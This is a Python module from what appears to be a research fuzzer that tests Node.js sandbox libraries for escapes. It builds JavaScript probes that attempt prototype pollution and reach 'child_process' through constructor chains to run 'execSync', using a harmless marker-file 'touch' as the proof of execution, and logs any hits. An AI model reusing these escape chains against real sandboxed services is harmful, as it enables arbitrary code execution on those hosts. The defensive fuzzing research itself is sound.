utils.py

import os
import uuid
import subprocess


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def delete_file(file_path):
    try:
        os.remove(file_path)
    except (FileNotFoundError, PermissionError, Exception):
        pass


def _wrap_try_catch(code):
    return f"try{{{code}}} catch(e){{}}"


def _build_pollution_checks(ret, random_filename):
    """
    Generate JS statements that probe prototype pollution and RCE
    through `ret` and its constructor/proto chains.
    """
    lines = []
    for i in range(4):
        proto = ".__proto__" * i

        path = f"{ret}{proto}.polluted"
        lines.append(_wrap_try_catch(f'{path} = "{path}"'))

        for j in range(1, 3):
            path = f"{ret}{''.join(['.constructor'] * j)}{proto}.polluted"
            lines.append(_wrap_try_catch(f'{path} = "{path}"'))

        for j in range(0, 3):
            path = f"{ret}{''.join(['.constructor'] * j)}('return process')(){proto}.polluted"
            lines.append(_wrap_try_catch(f'{path} = "{path}"'))

        for j in range(0, 3):
            path = (
                f"{ret}{''.join(['.constructor'] * j)}"
                f"('return process')().mainModule"
                f".require('child_process').execSync('touch {random_filename}')"
            )
            lines.append(_wrap_try_catch(path))

    return "\n".join(lines)


# ---------------------------------------------------------------------------
# Code builders
# ---------------------------------------------------------------------------

def add_verifier(random_filename):
    """Return a JS `verify(ret)` function that probes pollution/RCE via `ret`."""
    body = _build_pollution_checks("ret", random_filename)
    return f"function verify(ret){{\n{body}\n}}\n"


def add_verify(input_code, random_filename):
    """Replace the /*ret_verity_escape*/ placeholder with pollution checks via `pp`."""
    checks = _build_pollution_checks("pp", random_filename)
    checks += "\n" + _wrap_try_catch("pp(this)")
    return input_code.replace("/*ret_verity_escape*/", checks)


def wrap_as_external(string):
    """Wrap an object expression for Stage 1/2: assign to pp, verify, then throw."""
    return (
        "try{\n"
        f"let pp = {string} \n"
        "verify(pp)  \n"
        "throw pp;\n"
        "} catch(pp){\n"
        "/*ret_verity_escape*/\n"
        "}"
    )


def wrap_as_seed(string):
    """Wrap already-instrumented code for Stage 3/4."""
    return f"try{{\n{string} \n}} catch(pp){{\n/*ret_verity_escape*/\n}}"


def add_stack_trace_hook(code):
    """Prepend an Error.prepareStackTrace hook to intercept call stack frames."""
    hook = (
        "try{\n"
        "Error.prepareStackTrace = (e, frames) => {\n"
        "verify(frames);\n"
        "try{verify(frames[0].getThis())}catch(no){}\n"
        "return frames;\n"
        "};\n"
        "}catch(no){}\n"
    )
    return hook + code


# ---------------------------------------------------------------------------
# Result handling
# ---------------------------------------------------------------------------

def _save_result(log_path, tmp_file_path, stdout, code):
    """
    Persist interesting results and clean up the temp file.
    - 'polluted' + 'our result' → pollution confirmed, save full output
    - log file already exists → code execution occurred, save code
    """
    if "polluted" in stdout:
        if "our result" in stdout:
            with open(log_path, "w", encoding="utf-8") as f:
                f.write(stdout + "\n\n" + code)
    elif os.path.exists(log_path):
        with open(log_path, "w", encoding="utf-8") as f:
            f.write("Code Execution\n\n" + code)

    delete_file(tmp_file_path)


def _run_sandbox(target_sandbox, file_path, timeout=3):
    cmd = (
        f"timeout {timeout}s node --allow-natives-syntax "
        f"./sandbox_tpl_server_side/{target_sandbox}/run-{target_sandbox} "
        f"{file_path}"
    )
    return subprocess.run(cmd, shell=True, capture_output=True, text=True)


# ---------------------------------------------------------------------------
# Stage 1 & 2 — property list execution
# ---------------------------------------------------------------------------

def _property_execution(object_string, target_sandbox, log_dir):
    random_filename = f"{uuid.uuid4().hex}.txt"
    tmp_path = os.path.join(log_dir, random_filename)
    log_path = os.path.abspath(os.path.join(log_dir, "log", random_filename))

    instrumented = add_verify(wrap_as_external(object_string), log_path)
    code = add_stack_trace_hook(add_verifier(log_path) + "\n" + instrumented)

    with open(tmp_path, "w", encoding="utf-8") as f:
        f.write(code)

    result = _run_sandbox(target_sandbox, os.path.abspath(tmp_path), timeout=3)
    _save_result(log_path, tmp_path, result.stdout.strip(), code)


def internal_execution(object_string, target_sandbox):
    _property_execution(object_string, target_sandbox, "./log/internal")


def external_execution(object_string, target_sandbox):
    _property_execution(object_string, target_sandbox, "./log/external")


# ---------------------------------------------------------------------------
# Stage 3 — seed / corpus execution
# ---------------------------------------------------------------------------

def Seed_execution(file, target_sandbox):
    log_dir = "./log/corpus_output"
    random_filename = f"{uuid.uuid4().hex}.txt"
    tmp_path = os.path.join(log_dir, random_filename)
    log_path = os.path.abspath(os.path.join(log_dir, "log", random_filename))

    instrumented = subprocess.run(
        f"timeout 5s node --allow-natives-syntax instromentor.js ./corpus/{file}",
        shell=True, capture_output=True, text=True,
    )

    if not instrumented.stdout.strip():
        if instrumented.stderr.strip():
            print(instrumented.stderr.strip())
        return

    body = add_verify(wrap_as_seed(instrumented.stdout.strip()), log_path)
    code = add_stack_trace_hook(add_verifier(log_path) + "\n" + body)

    with open(tmp_path, "w", encoding="utf-8") as f:
        f.write(code)

    result = _run_sandbox(target_sandbox, os.path.abspath(tmp_path), timeout=4)
    _save_result(log_path, tmp_path, result.stdout.strip(), code)


# ---------------------------------------------------------------------------
# Stage 4 — mutation fuzzing
# ---------------------------------------------------------------------------

def mutation_fuzzing(file, target_sandbox):
    log_dir = "./log/mutation"
    random_filename = f"{uuid.uuid4().hex}.txt"
    tmp_path = os.path.join(log_dir, random_filename)
    log_path = os.path.abspath(os.path.join(log_dir, "log", random_filename))

    mutated = subprocess.run(
        f"timeout 5s node --allow-natives-syntax mutation.js ./for_test_corpus/{file}",
        shell=True, capture_output=True, text=True,
    )
    with open(tmp_path, "w", encoding="utf-8") as f:
        f.write(mutated.stdout)

    instrumented = subprocess.run(
        f"timeout 5s node --allow-natives-syntax minstromentor.js {tmp_path}",
        shell=True, capture_output=True, text=True,
    )
    print(instrumented.stdout.strip())

    if not instrumented.stdout.strip():
        if instrumented.stderr.strip():
            print(instrumented.stderr.strip())
        return

    body = add_verify(wrap_as_seed(instrumented.stdout.strip()), log_path)
    code = add_stack_trace_hook(add_verifier(log_path) + "\n" + body)

    with open(tmp_path, "w", encoding="utf-8") as f:
        f.write(code)
    print(tmp_path)

    result = _run_sandbox(target_sandbox, os.path.abspath(tmp_path), timeout=4)
    _save_result(log_path, tmp_path, result.stdout.strip(), code)